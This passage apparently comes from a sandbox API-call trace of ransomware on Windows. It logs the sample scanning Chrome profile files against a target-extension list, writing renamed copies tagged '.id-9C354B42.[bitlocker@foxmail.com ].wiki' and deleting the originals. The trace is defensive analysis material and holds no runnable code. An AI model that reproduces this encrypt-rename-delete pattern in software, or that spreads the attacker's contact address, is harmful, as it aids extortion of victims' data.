[0177.161] lstrcmpiW (lpString1=".jpg", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.161] lstrlenW (lpString=".doc") returned 4 [0177.161] lstrcmpiW (lpString1=".doc", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString=".docx") returned 5 [0177.161] lstrcmpiW (lpString1=".docx", lpString2="okies") returned -1 [0177.161] lstrlenW (lpString=".pdf") returned 4 [0177.161] lstrcmpiW (lpString1=".pdf", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString=".xls") returned 4 [0177.161] lstrcmpiW (lpString1=".xls", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString=".xlsx") returned 5 [0177.161] lstrcmpiW (lpString1=".xlsx", lpString2="okies") returned -1 [0177.161] lstrlenW (lpString=".ppt") returned 4 [0177.161] lstrcmpiW (lpString1=".ppt", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.161] lstrlenW (lpString=".zip") returned 4 [0177.161] lstrcmpiW (lpString1=".zip", lpString2="kies") returned -1 [0177.161] lstrlenW (lpString=".rar") returned 4 [0177.162] lstrcmpiW (lpString1=".rar", lpString2="kies") returned -1 [0177.162] lstrlenW (lpString=".bz2") returned 4 [0177.162] lstrcmpiW (lpString1=".bz2", lpString2="kies") returned -1 [0177.162] lstrlenW (lpString=".7z") returned 3 [0177.162] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0177.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.162] lstrlenW (lpString=".dbf") returned 4 [0177.162] lstrcmpiW (lpString1=".dbf", lpString2="kies") returned -1 [0177.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.162] lstrlenW (lpString=".1cd") returned 4 [0177.162] lstrcmpiW (lpString1=".1cd", lpString2="kies") returned -1 [0177.162] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 83 [0177.162] lstrlenW (lpString=".jpg") returned 4 [0177.162] lstrcmpiW (lpString1=".jpg", lpString2="kies") returned -1 [0177.162] lstrlenW (lpString="Cookies-journal") returned 15 [0177.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.162] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0177.163] CloseHandle (hObject=0x124) returned 1 [0177.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.163] lstrlenW (lpString=".doc") returned 4 [0177.163] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString=".docx") returned 5 [0177.163] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0177.163] lstrlenW (lpString=".pdf") returned 4 [0177.163] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString=".xls") returned 4 [0177.163] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString=".xlsx") returned 5 [0177.163] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0177.163] lstrlenW (lpString=".ppt") returned 4 [0177.163] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.163] lstrlenW (lpString=".zip") returned 4 [0177.163] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString=".rar") returned 4 [0177.163] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString=".bz2") returned 4 [0177.163] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString=".7z") returned 3 [0177.163] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0177.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.163] lstrlenW (lpString=".dbf") returned 4 [0177.163] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0177.163] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.164] lstrlenW (lpString=".1cd") returned 4 [0177.164] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.164] lstrlenW (lpString=".jpg") returned 4 [0177.164] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.164] lstrlenW (lpString=".doc") returned 4 [0177.164] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString=".docx") returned 5 [0177.164] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0177.164] lstrlenW (lpString=".pdf") returned 4 [0177.164] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString=".xls") returned 4 [0177.164] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString=".xlsx") returned 5 [0177.164] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0177.164] lstrlenW (lpString=".ppt") returned 4 [0177.164] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.164] lstrlenW (lpString=".zip") returned 4 [0177.164] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString=".rar") returned 4 [0177.164] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString=".bz2") returned 4 [0177.164] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0177.164] lstrlenW (lpString=".7z") returned 3 [0177.164] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0177.164] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.165] lstrlenW (lpString=".dbf") returned 4 [0177.165] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0177.165] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.165] lstrlenW (lpString=".1cd") returned 4 [0177.165] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0177.165] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 91 [0177.165] lstrlenW (lpString=".jpg") returned 4 [0177.165] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0177.165] lstrlenW (lpString="Current Session") returned 15 [0177.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.165] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=470) returned 1 [0177.165] CloseHandle (hObject=0x124) returned 1 [0177.165] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session")) returned 0x2020 [0177.165] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.166] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.166] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.166] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.166] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0177.166] GetLastError () returned 0x0 [0177.166] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x1d6, lpOverlapped=0x0) returned 1 [0177.167] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x1e0, lpOverlapped=0x0) returned 1 [0177.168] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.168] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0177.168] SetEndOfFile (hFile=0x198) returned 1 [0177.168] CloseHandle (hObject=0x198) returned 1 [0177.168] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.168] SetEndOfFile (hFile=0x124) returned 1 [0177.169] CloseHandle (hObject=0x124) returned 1 [0177.169] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.169] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session")) returned 1 [0177.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.170] lstrlenW (lpString=".doc") returned 4 [0177.170] lstrcmpiW (lpString1=".doc", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString=".docx") returned 5 [0177.170] lstrcmpiW (lpString1=".docx", lpString2="ssion") returned -1 [0177.170] lstrlenW (lpString=".pdf") returned 4 [0177.170] lstrcmpiW (lpString1=".pdf", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString=".xls") returned 4 [0177.170] lstrcmpiW (lpString1=".xls", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString=".xlsx") returned 5 [0177.170] lstrcmpiW (lpString1=".xlsx", lpString2="ssion") returned -1 [0177.170] lstrlenW (lpString=".ppt") returned 4 [0177.170] lstrcmpiW (lpString1=".ppt", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.170] lstrlenW (lpString=".zip") returned 4 [0177.170] lstrcmpiW (lpString1=".zip", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString=".rar") returned 4 [0177.170] lstrcmpiW (lpString1=".rar", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString=".bz2") returned 4 [0177.170] lstrcmpiW (lpString1=".bz2", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString=".7z") returned 3 [0177.170] lstrcmpiW (lpString1=".7z", lpString2="ion") returned -1 [0177.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.170] lstrlenW (lpString=".dbf") returned 4 [0177.170] lstrcmpiW (lpString1=".dbf", lpString2="sion") returned -1 [0177.170] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.170] lstrlenW (lpString=".1cd") returned 4 [0177.171] lstrcmpiW (lpString1=".1cd", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.171] lstrlenW (lpString=".jpg") returned 4 [0177.171] lstrcmpiW (lpString1=".jpg", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.171] lstrlenW (lpString=".doc") returned 4 [0177.171] lstrcmpiW (lpString1=".doc", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString=".docx") returned 5 [0177.171] lstrcmpiW (lpString1=".docx", lpString2="ssion") returned -1 [0177.171] lstrlenW (lpString=".pdf") returned 4 [0177.171] lstrcmpiW (lpString1=".pdf", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString=".xls") returned 4 [0177.171] lstrcmpiW (lpString1=".xls", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString=".xlsx") returned 5 [0177.171] lstrcmpiW (lpString1=".xlsx", lpString2="ssion") returned -1 [0177.171] lstrlenW (lpString=".ppt") returned 4 [0177.171] lstrcmpiW (lpString1=".ppt", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.171] lstrlenW (lpString=".zip") returned 4 [0177.171] lstrcmpiW (lpString1=".zip", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString=".rar") returned 4 [0177.171] lstrcmpiW (lpString1=".rar", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString=".bz2") returned 4 [0177.171] lstrcmpiW (lpString1=".bz2", lpString2="sion") returned -1 [0177.171] lstrlenW (lpString=".7z") returned 3 [0177.171] lstrcmpiW (lpString1=".7z", lpString2="ion") returned -1 [0177.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.172] lstrlenW (lpString=".dbf") returned 4 [0177.172] lstrcmpiW (lpString1=".dbf", lpString2="sion") returned -1 [0177.172] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.172] lstrlenW (lpString=".1cd") returned 4 [0177.172] lstrcmpiW (lpString1=".1cd", lpString2="sion") returned -1 [0177.172] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 91 [0177.172] lstrlenW (lpString=".jpg") returned 4 [0177.172] lstrcmpiW (lpString1=".jpg", lpString2="sion") returned -1 [0177.172] lstrlenW (lpString="Current Tabs") returned 12 [0177.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.173] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=294) returned 1 [0177.173] CloseHandle (hObject=0x124) returned 1 [0177.173] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs")) returned 0x2020 [0177.173] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.173] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.173] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0177.174] GetLastError () returned 0x0 [0177.174] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x126, lpOverlapped=0x0) returned 1 [0177.175] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x130, lpOverlapped=0x0) returned 1 [0177.524] ReadFile (in: hFile=0x124, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.524] WriteFile (in: hFile=0x198, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0177.524] SetEndOfFile (hFile=0x198) returned 1 [0177.525] CloseHandle (hObject=0x198) returned 1 [0177.525] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.525] SetEndOfFile (hFile=0x124) returned 1 [0177.525] CloseHandle (hObject=0x124) returned 1 [0177.526] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.526] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs")) returned 1 [0177.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.526] lstrlenW (lpString=".doc") returned 4 [0177.526] lstrcmpiW (lpString1=".doc", lpString2="Tabs") returned -1 [0177.526] lstrlenW (lpString=".docx") returned 5 [0177.526] lstrcmpiW (lpString1=".docx", lpString2=" Tabs") returned 1 [0177.526] lstrlenW (lpString=".pdf") returned 4 [0177.526] lstrcmpiW (lpString1=".pdf", lpString2="Tabs") returned -1 [0177.526] lstrlenW (lpString=".xls") returned 4 [0177.526] lstrcmpiW (lpString1=".xls", lpString2="Tabs") returned -1 [0177.526] lstrlenW (lpString=".xlsx") returned 5 [0177.526] lstrcmpiW (lpString1=".xlsx", lpString2=" Tabs") returned 1 [0177.526] lstrlenW (lpString=".ppt") returned 4 [0177.526] lstrcmpiW (lpString1=".ppt", lpString2="Tabs") returned -1 [0177.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.526] lstrlenW (lpString=".zip") returned 4 [0177.527] lstrcmpiW (lpString1=".zip", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString=".rar") returned 4 [0177.527] lstrcmpiW (lpString1=".rar", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString=".bz2") returned 4 [0177.527] lstrcmpiW (lpString1=".bz2", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString=".7z") returned 3 [0177.527] lstrcmpiW (lpString1=".7z", lpString2="abs") returned -1 [0177.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.527] lstrlenW (lpString=".dbf") returned 4 [0177.527] lstrcmpiW (lpString1=".dbf", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.527] lstrlenW (lpString=".1cd") returned 4 [0177.527] lstrcmpiW (lpString1=".1cd", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.527] lstrlenW (lpString=".jpg") returned 4 [0177.527] lstrcmpiW (lpString1=".jpg", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.527] lstrlenW (lpString=".doc") returned 4 [0177.527] lstrcmpiW (lpString1=".doc", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString=".docx") returned 5 [0177.527] lstrcmpiW (lpString1=".docx", lpString2=" Tabs") returned 1 [0177.527] lstrlenW (lpString=".pdf") returned 4 [0177.527] lstrcmpiW (lpString1=".pdf", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString=".xls") returned 4 [0177.527] lstrcmpiW (lpString1=".xls", lpString2="Tabs") returned -1 [0177.527] lstrlenW (lpString=".xlsx") returned 5 [0177.527] lstrcmpiW (lpString1=".xlsx", lpString2=" Tabs") returned 1 [0177.527] lstrlenW (lpString=".ppt") returned 4 [0177.527] lstrcmpiW (lpString1=".ppt", lpString2="Tabs") returned -1 [0177.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.528] lstrlenW (lpString=".zip") returned 4 [0177.528] lstrcmpiW (lpString1=".zip", lpString2="Tabs") returned -1 [0177.528] lstrlenW (lpString=".rar") returned 4 [0177.528] lstrcmpiW (lpString1=".rar", lpString2="Tabs") returned -1 [0177.528] lstrlenW (lpString=".bz2") returned 4 [0177.528] lstrcmpiW (lpString1=".bz2", lpString2="Tabs") returned -1 [0177.528] lstrlenW (lpString=".7z") returned 3 [0177.528] lstrcmpiW (lpString1=".7z", lpString2="abs") returned -1 [0177.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.528] lstrlenW (lpString=".dbf") returned 4 [0177.528] lstrcmpiW (lpString1=".dbf", lpString2="Tabs") returned -1 [0177.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.528] lstrlenW (lpString=".1cd") returned 4 [0177.528] lstrcmpiW (lpString1=".1cd", lpString2="Tabs") returned -1 [0177.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88 [0177.528] lstrlenW (lpString=".jpg") returned 4 [0177.528] lstrcmpiW (lpString1=".jpg", lpString2="Tabs") returned -1 [0177.528] lstrlenW (lpString="LOG") returned 3 [0177.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" 